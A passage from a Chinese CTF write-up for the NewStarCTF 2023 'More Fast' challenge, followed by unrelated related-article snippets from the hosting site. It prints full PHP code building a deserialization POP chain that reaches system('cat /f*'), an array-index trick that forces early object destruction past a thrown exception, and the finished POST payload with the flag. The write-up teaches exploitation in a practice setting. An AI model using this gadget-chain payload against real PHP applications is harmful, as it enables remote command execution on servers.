NewStarCTF2023week4-More Fast(GC回收)

news2024/9/22 23:29:00

打开链接,存在很多个类,很明显是php反序列化漏洞利用,需要构造pop链 ,

关于pop链构造的详细步骤教学,请参考我之前的博客,真的讲得很详细也容易理解:

http://t.csdnimg.cn/wMYNB

如果你是刚接触php反序列化利用的题,那么建议先看基础的原理知识:

http://t.csdnimg.cn/xhqzq

http://t.csdnimg.cn/jzQjt

http://t.csdnimg.cn/IHpEq

由于这道题还出现了

throw new Exception("Nope");

这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

首先我们需要知道:

在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

(1)对象被unset()处理时,可以触发。

(2)数组对象为NULL时,可以触发。

我们先正常构造pop链:

关于pop链的构造和标注真的看我之前那篇博客肯定能懂

<?php

class Start{
    public $errMsg;  // 5 Crypto
    public function __destruct() {
        die($this->errMsg);  
    }
}

class Pwn{
    public $obj;   // 2 Web
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;  // 3 Pwn
    public function __get($var) {
        ($this->func)();
    }
}

class Web{ 
    public $func; // 1 system
    public $var;  // 1 cat /f*
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;  // 4 Reverse
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{  
    public function evil() {
        echo "good job but nothing";
    }
}

$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;
echo serialize($s);

?>

我们使用第二中方法(数组对象为NULL)绕过GC回收:

<?php

class Start{
    public $errMsg;  // 5 Crypto
    public function __destruct() {
        die($this->errMsg);  
    }
}

class Pwn{
    public $obj;   // 2 Web
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;  // 3 Pwn
    public function __get($var) {
        ($this->func)();
    }
}

class Web{ 
    public $func; // 1 system
    public $var;  // 1 cat /f*
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;  // 4 Reverse
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{  
    public function evil() {
        echo "good job but nothing";
    }
}

$w = new Web();
$w->func = 'system';
$w->var = 'cat /f*';
$p = new Pwn();
$p->obj = $w;
$r = new Reverse();
$r->func = $p;
$c = new Crypto();
$c->obj = $r;
$s = new Start();
$s->errMsg = $c;

$b=array($s,0);
echo serialize($b); 

?>

运行得到:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;i:0;} 

我们将最后的 i:1 替换为 i:0

即:

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

构造payload:

post:fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;i:0;} 

拿到flag

flag{558eb633-8715-4922-8201-f8402343b140} 

当然这里保险一点的做法是先执行 ls 命令,然后再使用 ../../../ 进行目录穿越 ,找到flag所在目录,再进行 cat,并且这里过滤了关键字 flag,因此我们使用通配符 * 进行匹配。

只是说一般 flag 都在根目录下,所以我直接 cat /f*。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1131979.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

降本增效神器?Share Creators 智能数字资产管理系统真香!

降本增效似乎是一个持续又永久的话题。尤其在今年&#xff0c; 显得格外的重要~ 在各行各业都受到了疫情所带来巨大冲击的背景下&#xff0c;降本增效对很多企业来说不再是锦上添花&#xff0c;而可能是一条唯一的出路。 随着市场的收缩和竞争的加剧&#xff0c;在更“卷”的…

树形数据增删改查

功能描述&#xff1a; 默认展示所有项目点击项目展示当前项目下的所有区域点击区域展示当前区域下的所有工位以上以树形图格式展示项目&#xff0c;区域&#xff0c;和工位都可进行增加 修改 和删除&#xff0c;每个图标hover时显示对应提示信息项目&#xff0c;区域&#xff…

数据库数据恢复—Oracle数据库报错ORA-01110错误的数据恢复案例

Oracle数据库故障&#xff1a; 北京某公司一台运行oracle数据库的服务器&#xff0c;机房意外断电导致该服务器重启&#xff0c;重启后发现oracle数据库报错。该Oracle数据库没有备份。 Oracle数据库数据恢复过程&#xff1a; 1、北亚企安数据恢复工程师检查该oracle数据库的数…

外卖跑腿小程序开发是否需要定期更新和维护?

外卖跑腿小程序已成为现代生活的一部分&#xff0c;但它们的成功和可靠性取决于持续的定期更新和维护。本文将探讨为什么外卖跑腿小程序需要定期更新和维护&#xff0c;以及如何实施这些关键的技术措施。 为什么需要定期更新和维护&#xff1f; 1. 改进性能和稳定性 外卖跑…

Android Studio模拟器/虚拟设备连接互联网的方法

如图&#xff0c;无线、网络都无法联网 找到本机的DNS 找到emu-launch-params.txt&#xff0c;添加DNS -dns-server 192.168.124.1 重启虚拟机&#xff0c;关闭无线

Python使用psycopg2读取PostgreSQL的geometry字段出现二进制乱码

1、问题 读取geometry字段出现二进制乱码 查询语句&#xff1a; sql "select * from public"Note: 这种写法在PostgreSQL中直接查询, 没有问题&#xff0c;不会报错。 但是在Python中查询&#xff0c;如果导出的geom还是一长串的geometry 格式的话&#xff0c; …

Anaconda创建环境出现一堆DEBUG

问题描述如图所示&#xff1a; 试了好几种方法&#xff0c;比如以为是清华的源不能用了嘛&#xff0c;然后改了之后发现不行&#xff1b;然后又以为是anaconda出啥问题了&#xff0c;卸了重装发现都没能解决。 但是好在没有放弃啊哈哈&#xff1a;【试试下面这个】 解决办法&a…

clion安装C++远程linux开发并调试 从装centos虚拟机到完美开发调试

下载镜像 阿里云镜像 从vmware上安装虚拟机并提权开放ssh 更新编译环境 一般 gcc gdb 版本都是比较低的&#xff0c;适配不了clion的最低要求。 升级gdb参考博客 升级gcc参考博客 安装CMAKE 官方的源使用wget即可下载 未找到openssl的解决办法 注意版本&#xff0c;又踩个…

C语言--有 n 个整数,使前面各数顺序向后移 m 个位置,最后 m 个数变成最前面的 m个数,见下图,写一个函数实现该功能

图解&#xff1a; 代码&#xff1a; void Move(int* arr, int n, int m) {if (m < 0 || m > n)return;//创建m个长度的int数组int* brr (int*)malloc(m * sizeof(int));assert(brr ! NULL);if (brr NULL)return;//把后面的m个数字移到新数组int i;for (i 0; i <…

【Axure高保真原型】图片手电筒效果

今天和大家分享图片手电筒效果的原型模板&#xff0c;鼠标移入图片区域后&#xff0c;会显示一个光圈&#xff0c;光圈会跟随鼠标移动&#xff0c;照亮对应的区域&#xff1b;鼠标拖动时可以移动地图图片&#xff0c;查看更多区域的内容&#xff0c;具体效果可以打开下方原型地…

【linux】安装rpmrebuild

rpmrebuild是一种从已经安装的包中构建RPM文件的工具。它可以用于轻松构建修改后的包&#xff0c;并适用于任何使用RPM的Linux发行版。 访问地址 rpm rebuild download | SourceForge.net 选择版本 版本地址&#xff1a;版本地址 下载安装包 安装 rpm -ivh rpmrebuild-2.15…

探索光模块的MSA多源协议

在当今高度互联的世界中&#xff0c;光模块作为网络设备的重要部分&#xff0c;其性能和质量直接影响到整个网络系统的运行。其中光模块由于其灵活性和高效性&#xff0c;已经成为数据中心和云计算领域的主要选择。本文易天光通信将深入探讨光模块的MSA协议&#xff0c;揭示其重…

6. Cesium中的Entity

1. Entity类简介 Entity类是Cesium中描述和呈现地球上实体对象的核心类。它具有丰富的属性和方法&#xff0c;用于控制和定制地理实体的外观和行为。Entity对象可以表示各种地理实体&#xff0c;如点、线、面等&#xff0c;并具有位置、方向、模型、标牌、折线、多边形等属性&…

小主机折腾记18

这个月冲动消费了小两千块钱…… 1.880g5twr 由于四根2400t的内存条没有用出去&#xff0c;我又把它们装回了惠普的800g5twr&#xff1b; 看到pdd有400块钱的9350K&#xff0c;于是想着给他上一个9350k 在参考了pdd、咸鱼以及淘宝的价格后&#xff0c;我发现400块钱的9350k都…

易点易动设备管理系统:提升企业备件管理和维修效率的智能解决方案

在当今竞争激烈的商业环境中&#xff0c;大型生产制造企业面临着日益复杂的设备管理挑战。为了提高生产效率和降低成本&#xff0c;企业需要一种高效的设备管理系统。易点易动设备管理系统是一款智能化的解决方案&#xff0c;旨在帮助企业提升备件管理和维修效率。本文将详细介…

【外贸干货】广交会后9大细节推进客户下单

10月的展会正如火如荼的进行&#xff0c;外贸人也到了真正忙碌的时刻。我们在展会中挖掘到的客户是否已经得到妥善跟进&#xff1f;如何进行跟进&#xff0c;以吸引客户的注意&#xff1f;如何撰写高回复率的开发信&#xff1f;不同的展后跟进方式将直接影响我们的参展成果&…

设计模式(16)迭代器模式

一、介绍&#xff1a; 1、定义&#xff1a;迭代器模式 (Iterator Pattern) 是一种行为型设计模式&#xff0c;它提供一种顺序访问聚合对象&#xff08;如列表、集合等&#xff09;中的元素&#xff0c;而无需暴露聚合对象的内部表示。迭代器模式将遍历逻辑封装在一个迭代器对象…

2023CCF中国开源大会 | 麒麟信安作为首批合作伙伴入驻全国信创开源广场

聚开源各界群智&#xff0c;于湘江之滨论道。10月21-22日&#xff0c;以“开源联合&#xff0c;聚力共赢”为主题的2023 CCF中国开源大会&#xff08;CCF ChinaOSC&#xff09;在长沙隆重召开。本届大会由中国计算机学会、开放原子开源基金会主办&#xff0c;中国工程院院士、鹏…

遮挡Windows电脑上烦人的微信/企业微信/钉钉消息闪烁提醒

不知道有没有人跟我一样&#xff0c;很烦Windows电脑端微信、企业维系、钉钉这些软件的消息闪烁提醒——不读就一直在左下角闪烁个不停。特别是加的工作群比较多的时候&#xff0c;非常的分心。 而无论是直接在软件中设置不提醒新消息&#xff0c;还是把图标隐藏起来&#xff…

MySQL学习(九)——InnoDB引擎

文章目录 1. 逻辑存储结构2. 架构2.1 内存结构2.2 磁盘结构2.3 后台线程 3. 事务原理3.1 事务基础3.2 redo log3.3 undo log 4. MVCC4.1 基本概念4.2 隐藏字段4.3 undo log4.4 readview4.5 原理分析 1. 逻辑存储结构 InnoDB的逻辑存储结构如下图所示&#xff1a; 表空间 表空间…